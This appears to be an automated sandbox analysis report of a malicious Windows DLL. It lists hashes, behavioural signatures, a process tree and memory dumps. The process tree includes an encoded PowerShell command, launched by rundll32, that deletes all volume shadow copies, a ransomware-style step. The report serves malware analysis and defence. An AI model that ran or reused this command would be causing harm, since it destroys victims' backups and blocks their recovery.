Analysis
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max time kernel
122s -
max time network
130s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 00:54
Static task
static1
Behavioral task
behavioral1
Sample
db1320b53ae8e0de5a262ec93742a8f8ef65dd57955b724b39d691e0538de465.dll
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
db1320b53ae8e0de5a262ec93742a8f8ef65dd57955b724b39d691e0538de465.dll
Resource
win10-en-20211208
General
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Target
db1320b53ae8e0de5a262ec93742a8f8ef65dd57955b724b39d691e0538de465.dll
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Size
164KB
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MD5
334d1fb660cca4c7175dc3ad17358052
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SHA1
c986d2ff01dd321b32076c75b8f492931e31e7c1
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SHA256
db1320b53ae8e0de5a262ec93742a8f8ef65dd57955b724b39d691e0538de465
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SHA512
8da4357907af0e07d3f560aeaf6959f4e12e63d52bd133d1b872a193368876685d1d18ee7c626358ec55cd60d9122a23d444051bb79f07eb3a0e1321193ea4a8
Malware Config
Signatures
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\Y: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
rundll32.exepowershell.exepid process 1444 rundll32.exe 564 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
rundll32.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1444 rundll32.exe Token: SeDebugPrivilege 564 powershell.exe Token: SeBackupPrivilege 1044 vssvc.exe Token: SeRestorePrivilege 1044 vssvc.exe Token: SeAuditPrivilege 1044 vssvc.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 1264 wrote to memory of 1444 1264 rundll32.exe rundll32.exe PID 1264 wrote to memory of 1444 1264 rundll32.exe rundll32.exe PID 1264 wrote to memory of 1444 1264 rundll32.exe rundll32.exe PID 1264 wrote to memory of 1444 1264 rundll32.exe rundll32.exe PID 1264 wrote to memory of 1444 1264 rundll32.exe rundll32.exe PID 1264 wrote to memory of 1444 1264 rundll32.exe rundll32.exe PID 1264 wrote to memory of 1444 1264 rundll32.exe rundll32.exe PID 1444 wrote to memory of 564 1444 rundll32.exe powershell.exe PID 1444 wrote to memory of 564 1444 rundll32.exe powershell.exe PID 1444 wrote to memory of 564 1444 rundll32.exe powershell.exe PID 1444 wrote to memory of 564 1444 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\db1320b53ae8e0de5a262ec93742a8f8ef65dd57955b724b39d691e0538de465.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:1264 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\db1320b53ae8e0de5a262ec93742a8f8ef65dd57955b724b39d691e0538de465.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1444 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:564
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1044
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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memory/564-56-0x000007FEFB531000-0x000007FEFB533000-memory.dmpFilesize
8KB
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memory/564-59-0x0000000002542000-0x0000000002544000-memory.dmpFilesize
8KB
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memory/564-60-0x0000000002544000-0x0000000002547000-memory.dmpFilesize
12KB
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memory/564-58-0x0000000002540000-0x0000000002542000-memory.dmpFilesize
8KB
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memory/564-57-0x000007FEF2920000-0x000007FEF347D000-memory.dmpFilesize
11.4MB
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memory/564-61-0x000000001B6F0000-0x000000001B9EF000-memory.dmpFilesize
3.0MB
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memory/564-62-0x000000000254B000-0x000000000256A000-memory.dmpFilesize
124KB
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memory/1444-55-0x0000000075191000-0x0000000075193000-memory.dmpFilesize
8KB